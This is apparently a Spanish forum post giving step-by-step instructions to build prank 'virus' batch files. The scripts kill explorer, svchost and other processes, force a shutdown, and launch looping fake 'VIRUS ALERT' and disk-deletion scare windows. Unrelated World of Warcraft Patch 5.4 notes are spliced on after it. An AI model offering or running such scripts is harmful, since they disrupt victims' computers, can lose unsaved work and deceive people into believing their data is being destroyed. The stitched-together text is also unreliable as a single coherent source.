JoaKitO2
Usuario (Argentina)
1- Abran bloc de notas 2- Pegen esto : @echo off msg * Has sido infectado por NewGreatUser taskkill /f /t msnmsgr.exe taskkill /f /t iexplore.exe taskkill /f /t svchost.exe taskkill /f /t explorer.exe y ponen Guardar como , y le ponen un nombre y la extencion bat, por ejemplo : Virus.bat Este archivo va a poner un mensaje en el escritorio y va a blokear aplicaciones como el msn,internet explorer, y el explorador de windows osea todos los iconos y la barra de inicio . Otro supuesto virus : msg * Has sido infectado por NewGreatUser shutdown -s Lo que hace este archivo es poner un mensaje en el escritorio el mensaje seria HAS SIDO INFECTADO POR NEWGREATUSER pero pueden cambiarlo a su gusto , y apaga la pc Aca les dejo el ultimo supuesto virus y el mas molesto y que mas asusta creado 100% por mi (: : @echo off color 0a echo ==================== echo = = echo = h4ckinger = echo = = echo ==================== echo . echo . echo . echo Para usar el programa apreta la telca 1 Para ver mas opciones apreta la tecla 2 Para salir apreta la tecla 3 pause>nul cls echo Instalando virus . . . echo Borrando disco rigido . . . echo Borrando archivos . . . echo Borrando el registro . . . echo Borrando antivirus . . . echo Borrando ip . . . echo Desactivando el firewall echo Borrando puertos de conexion . . . echo Error Windows . . . Virus alert!! echo El equipo no puede seguir procesando Caution virus.bat shutdown -s -t 60 -c "El equipo no puede seguir procesando causa: Virus alert!! echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.exe echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> virus.bat echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.exe echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Troyan.bat echo start >> Malware.exe echo start >> Malware.exe echo start >> Malware.exe echo start >> Malware.exe echo start >> Malware.exe echo start >> Malware.exe echo start >> Malware.exe echo start >> Malware.exe echo start >> Malware.exe echo start >> Malware.exe echo start >> Malware.exe echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Malware.bat echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.exe echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Spyware.bat echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.exe echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat echo start >> Virusavanced.bat start virus.bat start troyan.bat echo msgbox ("Instalando virus . . ." ) >> abrime.vbs echo msgbox ("Borrando ip . . ." ) >> abrime.vbs echo msgbox (" Borrando puertos . . ." ) >> abrime.vbs echo msgbox ("Desactivando el firewall . . ." ) >> abrime.vbs echo msgbox ("Borrando el antivirus . . ." ) >> abrime.vbs echo msgbox ("Virus creado por H4ckinger" ) >> abrime.vbs start abrime.vbs echo MsgBox ("Sistem Error" ),16,("Virus" ) >> Virus.vbs echo MsgBox ("El sistema no puede seguir procesando" ),16,("Virus alert" ) >> Virus.vbs echo MsgBox ("VIRUS ALERT!!" ),16,("Virus" ) >> Virus.vbs start Virus.vbs echo @echo off >> jaja.bat echo color 0a >> jaja.bat echo :uji >> jaja.bat echo echo Virus Alert! ! ! Virus Alert! ! ! Virus Alert! ! ! >> jaja.bat echo goto uji >> jaja.bat start jaja.bat echo @echo off >> jaj.bat echo color 0a >> jaj.bat echo :uji >> jaj.bat echo echo Virus Alert! ! ! Virus Alert! ! ! Virus Alert! ! ! >> jaj.bat echo goto uji >> jaj.bat start jaj.bat echo @echo off >> thevirus.bat echo color 0a >> thevirus.bat echo :uji >> thevirus.bat echo echo Virus Alert! ! ! Virus Alert! ! ! Virus Alert! ! ! >> thevirus.bat echo goto uji >> thevirus.bat start thevirus.bat Pause>nul exit Este virus crea mensajes con esos ruidos fuertes de alerta xD , apaga la pc en 60 segs. , crea archivos , y tambien unas ventanitas verdes que dicen VIRUS ALERT ! ! ! en color verde que bajan a toda velocidad

PARCHE 5.4: El Asedio de Orgrimmar Nueva función: Reinos conectados A lo largo de los años, los jugadores de World of Warcraft han migrado naturalmente a diferentes reinos para jugar con sus amigos, buscar nuevas hermandades, intentar derrotar jefes en dificultad heroica, hallar las experiencias JcJ más competitivas o, simplemente, encontrar un lugar para establecerse. Con el tiempo, estos cambios en la población crearon una experiencia de juego no del todo satisfactoria para los jugadores que se encuentran en los reinos menos populares porque se les hace difícil encontrar hermandades, completar objetivos grupales y obtener lo que buscan en la Casa de subastas y dentro de la economía del juego. En el Parche 5.4, queremos solucionar este problema con una nueva función llamada Reinos conectados. Con la ampliación de nuestra tecnología interreinos, se logra un reino conectado que es un conjunto de dos o más reinos normales “unidos” de forma permanente y fluida. Dado que estos reinos conectados se comportarán como si fueran un solo reino continuo, todos los jugadores podrán unirse a las mismas hermandades, acceder a una sola Casa de subastas, usar las mismas bandas y calabozos, y participar en otras aventuras para completar misiones. Nuestro objetivo con Reinos conectados es proporcionarles a los jugadores que se encuentran en reinos menos poblados más oportunidades de crecer, competir y conectarse con otros jugadores para embarcarse en los mayores desafíos de Azeroth. Ese tipo de interacción es, en gran medida, lo que hace que World of Warcraft sea tan divertido, y esta nueva función nos ayudará a acercarles la experiencia a una mayor cantidad de jugadores. Hemos preparado una lista de preguntas frecuentes para responder algunas de las cuestiones que probablemente van a surgir. Esperamos que nos cuenten su opinión y nos hagan otras preguntas en la sección de comentarios. P: ¿Por qué se implementa Reinos conectados? R: A medida que WoW fue evolucionando, vimos a muchos jugadores desplazarse hacia un subconjunto de reinos muy activos y dejar atrás los reinos menos poblados. Como es un multijugador masivo, hay ciertos tipos de experiencias de juego del World of Warcraft que sencillamente no están diseñadas para un reino poco poblado. Si permitimos que los jugadores de dos o más reinos poco poblados jueguen juntos, les estaremos dando a los jugadores más oportunidades de participar en actividades grupales, lo que tendría que generar una comunidad más dinámica. Reinos conectados también nos permite conectar poblaciones de una forma que no afecta a los jugadores, y que no tiene un impacto negativo en su sentido de identidad ni en sus personajes. Otras alternativas, como la de fusionar reinos, nos obligarían a forzar cambios en los nombres de los jugadores si hubiera repeticiones, y podrían ser confusas para los jugadores que vuelven después de un tiempo si, cuando se conectan, ven que su reino ya no existe en la lista de reinos. Además, algunos jugadores han desarrollado fuertes lazos con el nombre y la historia de su reino, y no queremos que eso cambie. P: ¿Por qué lo implementan ahora? R: Nuestra tecnología interreinos ha seguido evolucionando desde que la desarrollamos para unir jugadores en calabozos. Ahora está en un punto que nos permite crear mundos homogéneos conformados por varios reinos individuales, y creemos que es una idea que presenta muchas ventajas. P: ¿Cómo me doy cuenta si alguien está en mi reino conectado pero es de un reino diferente? R: De la misma forma en que usamos el símbolo (*) junto al nombre de los jugadores para indicar si son de otro reino en el buscador de bandas, los calabozos, las gestas, y las zonas interreinos, usaremos el símbolo (#) para indicar que alguien forma parte de tu reino conectado, pero no de tu reino original. P: ¿Qué reinos se conectarán en Reinos conectados? R: Aún no hemos decidido qué reinos serán parte de un reino conectado ni con qué reinos se conectará un reino en particular, aunque los reinos solo se conectarán con otros reinos del mismo tipo (por ejemplo: JcE con JcE, JcJ con JcJ, JR con JR). En definitiva, estamos considerando varios factores, que contemplan el equilibrio de formaciones de batalla, poblaciones y facciones. P: ¿Cuántos reinos habrá en cada Reino conectado? R: Aún no sabemos cuántos reinos formarán un reino conectado y seguramente variará según el reino conectado. Nuestro objetivo es crear una experiencia dinámica y divertida donde puedas unirte a hermandades, acceder a una Casa de subastas activa y juntarte con otros jugadores para participar en contenidos grupales. P: ¿Los reinos conectados tendrán alguna limitación? R: No deberían tener ningún tipo de limitación. Queremos que la experiencia sea fluida y esperamos que funcione como si los jugadores de pronto formaran parte de un reino mucho más activo. P: ¿A partir de cuándo estará disponible Reinos conectados? R: Aún no hemos determinado cuándo crearemos el primer reino conectado, pero esperamos que sea poco después del lanzamiento del Parche 5.4. Nueva zona: La isla Intemportal Si bien los temas más importantes del parche 5.4 se centran en la lucha de la Alianza y la Horda contra Garrosh, los jugadores también tendrán una nueva tierra para explorar: una tierra como ninguna otra. La Isla Intemporal, así denominada porque existe en un estado de ocaso perpetuo, fue un lugar muy venerado por los pandaren. Allí era donde se llevaban a cabo las pruebas de sabiduría, esperanza, fuerza y entereza frente a los grandes Celestiales; donde los guerreros y futuros líderes mostraban su voluntad de seguir los pasos del gran emperador Shaohao. Como prueba de su filosofía de buscar siempre el equilibrio, los monjes pandaren incluso convivían en armonía con sus vecinos yaungol, adoradores del ardiente semidiós Ordos. Pero un día la isla desapareció. Según algunos pergaminos, la Isla Intemporal ha ido y venido a lo largo de la historia, a veces solo como un destello en la distancia y a menudo en distintos lugares. Algunos aventureros menos afortunados se atrevieron a pisar la isla: apenas apoyaron un pie, quedaron perdidos en los portales del tiempo y nunca más se los vio. Pero ahora, y quizá solo por un momento, la isla ha regresado. Libertad por completo Cuando estés en la Isla Intemporal podrás explorar el mundo a tu propio ritmo. Hay un par de misiones en la isla, pero no te dirán exactamente donde ir ni que hacer. Al contrario, están ahí para animarte a explorar cavernas, descubrir grutas submarinas y luchar contra toda clase de bestias espantosas para obtener grandes recompensas. La isla se pondrá más difícil a medida que te alejes del bosque calmo y sereno que rodea los terrenos del templo y asciendas al ardiente Santuario de Ordon o te internes en las profundidades de la Caverna de los Espíritus Perdidos, la Cuenca Sapobuche y muchos otros escenarios. Como esta es una experiencia de mundo abierto, todo, a excepción de los jefes de banda (luego hablaremos más sobre ellos), puede hacerse en solitario. ¿Ves a un élite de nivel 93? Atácalo. Dependiento de tu especialización puede que te lleve un poco más de tiempo, pero el manejo experto de tu clase y tu capacidad para esquivar ataques pueden llevarte a la victoria. El hecho de que puedas enfrentarte a bestias enormes por ti solo también significa que cuando ya haya pasado un tiempo después del lanzamiento del parche 5.4 y la cantidad de jugadores en la isla disminuya, podrás seguir llevando nuevos personajes a explorarla e interactuar con todo lo que tiene para ofrecer. Mientras los élites de la isla podrán ser atacados por miembros de una misma facción por más que no sean del mismo grupo, podrás sumarte y ambos se beneficiarán con la derrota de un enemigo más fuerte. Además, todo lo que veas en la isla suelta objetos únicos. En el caso de los enemigos más fáciles, esos objetos pueden ser consumibles que te otorgarán Monedas intemporales o que te ayudarán en las aventuras que emprendas en lugares más oscuros; en el caso de los enemigos más difíciles, pueden llegar a ser fichas épicas que se ligan a la cuenta y que pueden usarse para ganar botines con nivel de objeto 496, fichas de mejora para obtener equipamiento con nivel de objeto 535, talismanes inferiores, mascotas de duelo ¡y mucho más! También habrán nuevos logros para casi todo en la isla. Recompensas duraderas Como acabamos de mencionar, la moneda de la Isla Intemporal son las Monedas intemporales. Con ellas, los jugadores pueden comprar Runas mogu del destino, equipamiento adicional que se liga a la cuenta, divertidos objetos de vanidad, mascotas y monturas. En la isla también hay una facción nueva que, junto con el Emperador perdido de Pandaria —el mismísimo Shaohao—, te dará acceso a más recompensas ornamentales. Ganar reputación con la facción del Emperador Shaohao no es imposible, pero sí requiere luchar contra algunas de las criaturas más antiguas y poderosas de la isla. Desde los jugadores más novatos que acaban de llegar al nivel 90 hasta los asaltantes mejor equipados, los duelistas de mascotas y los fanáticos del JcJ, todos encontrarán lo que buscan en la Isla Intemporal. Eventos sin fin Para fomentar la exploración y el descubrimiento de la Isla Intemporal, también incluiremos nuevos elementos de IU que denominaremos Sistema de eventos. La Isla Intemporal está repleta de engendros y élites poco comunes, cofres llenos de botines épicos y eventos, y todos ellos te llenarán de recompensas. Cuando te acerques a cualquiera de ellos, los verás aparecer en tu minimapa junto a un indicador que especifica su ubicación y el tipo de evento. Algunas de estas cosas serán difíciles de encontrar —o fáciles de encontrar pero complicadas de alcanzar— ya que muchas partes de la isla son rompecabezas perdidos en el tiempo. Además, algunas de estas cosas son más complejas y requieren más que una simple alerta, pero no vamos a arruinar las sorpresas. Tenemos muchas ganas de ver cuánto tardan los jugadores en develar los misterios y descubrir los tesoros secretos. Solidaridad inmemorial ¡Hablemos de los jefes de banda! Primero tenemos a los cuatro Augustos Celestiales, Chi-Ji, Niuzao, Xuen y Yu'lon, en los antiguos terrenos de pruebas ubicados en el medio de la isla. El lugar se ha usado durante generaciones para probar el valor de los guerreros pandaren, y ahora tú también podrás desafiar a un Celestial para ponerte a prueba. Un grupo experimentado puede limitarse a entrar caminando muy tranquilamente y empezar a pelear contra uno de los Celestiales. Una vez que termine la batalla, recibirán un botín personal como contra cualquier otro jefe principal. Además de los Celestiales, que son el equivalente del Sha de la ira o Nalak del parche 5.4, estamos intentando darle una vuelta de tuerca a un jefe principal extremo pensado para los jugadores más experimentados que recorren progresivamente el juego completo y buscan los desafíos más complejos. Este nuevo jefe principal, llamado Ordos, ofrece algunos desafíos únicos. Como primera medida, solo para llegar a Ordos, tendrás que haber recibido la capa legendaria final de parte de Wrathion con alguno de tus personajes. Además, una vez que la batalla haya comenzado, los jugadores no podrán entrar ni salir del Santuario de Ordon. ¡Buena suerte! Poder eterno Las personas que decidan unirse a yaungol, adoradores del ardiente semidiós Ordos, tendrán acceso a los poderes de Incensario de agonía eterna. Al usar el Incensario te marcará para JcJ contra todos-incluso para tu propia facción. Tu piel adquiere un efecto de llama brillante, mostrándole a todos que has invocado la rabia de Ordos y tienes sed de sangre. El Incensario también reducirá inmediatamente tu salud al 10% de tu máximo (que luego podrás curar con el tiempo), para impedir que te vuelvas un objetivo fácil de matar de forma repetida. En los reinos JcE, aplicarán las reglas de ese tipo de reinos; no se convertirá en una guerra abierta, pero podrán optar por enfrentar a los jugadores marcados si así lo desean. En los reinos JcJ, sin embargo, esta nueva amenaza será sin duda un objetivo para ambas facciones. Por último, cuando mates a otros jugadores mientras estés bajo los efectos del Incensario obtendrás Monedas sangrientas, una moneda que podrás intercambiar por recompensas exclusivos. Verás a muchos de los personajes que has conocido durante tus misiones en Pandaria y podrás interactuar con ellos. Podríamos seguir y seguir, pero no queremos arruinar todas las sorpresas. Esperamos que lo disfrutes. La destrucción del Valle de la Flor Eterna Cerrado a forasteros durante muchos años, el Valle de la Flor Eterna ha sido el centro físico y espiritual de Pandaria y un lugar de gran belleza y veneración… pero algo terrible ha ocurrido, y esta tierra, antaño hermosa y aparentemente intocable, ha quedado marcada de forma profunda e irremediable. Con la guerra entre la Alianza y la Horda en pleno apogeo, el Jefe de Guerra Garrosh Grito Infernal ordenó a un equipo de excavación goblin que buscara un artefacto enterrado en las profundidades del corazón del valle (ver la gesta Corazón Oscuro de Pandaria). Haciendo caso omiso a las advertencias de Taran Zhu, se pusieron a perforar en la Excavación de la Gran Flor. Lo que allí encontraron fue, quizás, más de lo que esperaban. En lo más profundo del yacimiento, dentro de una cámara secreta creada por los titanes y largo tiempo enterrada, Garrosh descubrió un poder que desde hacía mucho tiempo se creía encerrado e inalcanzable: el corazón de Y'Shaarj. La historia de lo que ocurre a continuación se revela en la próxima actualización de contenido, el parche 5.4: El Asedio de Orgrimmar. Tal vez no tan eterna Los eventos provocados por el hallazgo del artefacto han cambiado el valle de un modo drástico y dramático. Donde antes el Lago Pétalo Níveo refulgía como una joya, ahora tan solo queda una cáscara reseca y polvorienta. Con muchos de los lagos y ríos desprovistos ahora de agua, incluso los danios enjoyados han desaparecido. (¡Pero no temas! Los diligentes dragones nimbos los han rescatado y reubicado en la Isla Intemporal, donde pueden volver a prosperar.). Estudiando el terreno Tras esta destrucción, el proceso para acceder por primera vez al Valle de la Flor Eterna sigue siendo básicamente el mismo, si bien se ha actualizado ligeramente la misión que lleva hasta allí para reflejar los cambios producidos. Los aventureros ya no serán conducidos al absoluto esplendor del valle, como solía ser, sino que serán testigos del paisaje mancillado que la guerra entre la Alianza y la Horda ha dejado a su paso. Más allá de la mera apariencia física del cambio en dicho paisaje, nuevos habitantes se han instalado en el valle, y algunos de los antiguos moradores han ganado más terreno. En los Campos Estivales, la Excavación de la Gran Flor y la Vía del Emperador, los vestigios de orgullo brotan y se deslizan por doquier. En las Ruinas de Guo-Lai, las manifestaciones del orgullo se enfrentan a los mogu. Incluso la Escalera Dorada yace en ruinas humeantes, y los mogu se han desplazado por el norte hacia Alto de las Ruinas y el Claro Brote Invernal, echando a los duendes y las arañas que antaño estaban al acecho. (Felicidades aracnofóbicos, las arañas ya no están, salvo una… y bien gorda. ¿A poco creiste que te habías librado de ella? A la Matriarca Telaceniza Picasangre no se le echa así como así). La Aldea Bruma Otoñal sigue en pie al sudoeste, y los espíritus de los monjes pandaren y los mogu continúan con su eterna batalla en el Cementerio Tu Shen al sur, sin haber sido afectados aparentemente por los eventos que las maquinaciones de Garrosh han desencadenado en el Valle de la Flor Eterna. Las misiones en el valle Para quienes prosigan con sus aventuras en el valle, apenas quedan restos de la gran pagoda donde antaño el Loto Dorado encomendaba tareas a los héroes. Ya no montan guardia frente a los mogu, y sus enemigos se han adentrado aún más en el valle. Pero existe una forma de seguir ganando reputación con estos defensores incondicionales. Si matas muchas de las criaturas del valle y te enfrentas a monstruos poco comunes (raros), seguirás ganando reputación y llaves del alijo de Guo-Lai para desbloquear cofres en el interior de las ruinas. Para quienes todavía no hayan obtenido el logro "Érase una vez en un valle", ¡el tiempo se acaba! Una vez hayamos lanzado el parche 5.4, este logro se convertirá en una proeza de fuerza y ya no se podrá ganar. Esta es asimismo tu última oportunidad de disfrutar la historia de la reputación del Loto Dorado, avanzada a Honorable, Venerado y Exaltado. Seguirá habiendo misiones diarias disponibles en el Baluarte del Sol Poniente, aunque serán menos porque los Shadopan siguen entrenándose y combatiendo a los mántides en el muro, como es su deber. Lo que ha sucedido en el valle ha dejado huella, pero la amenaza que reside en el descubrimiento de Garrosh se propagará más allá de las tierras de Pandaria. Mantente atento para no perderte el tráiler del Asedio de Orgrimmar, que podrás disfrutar "próximamente".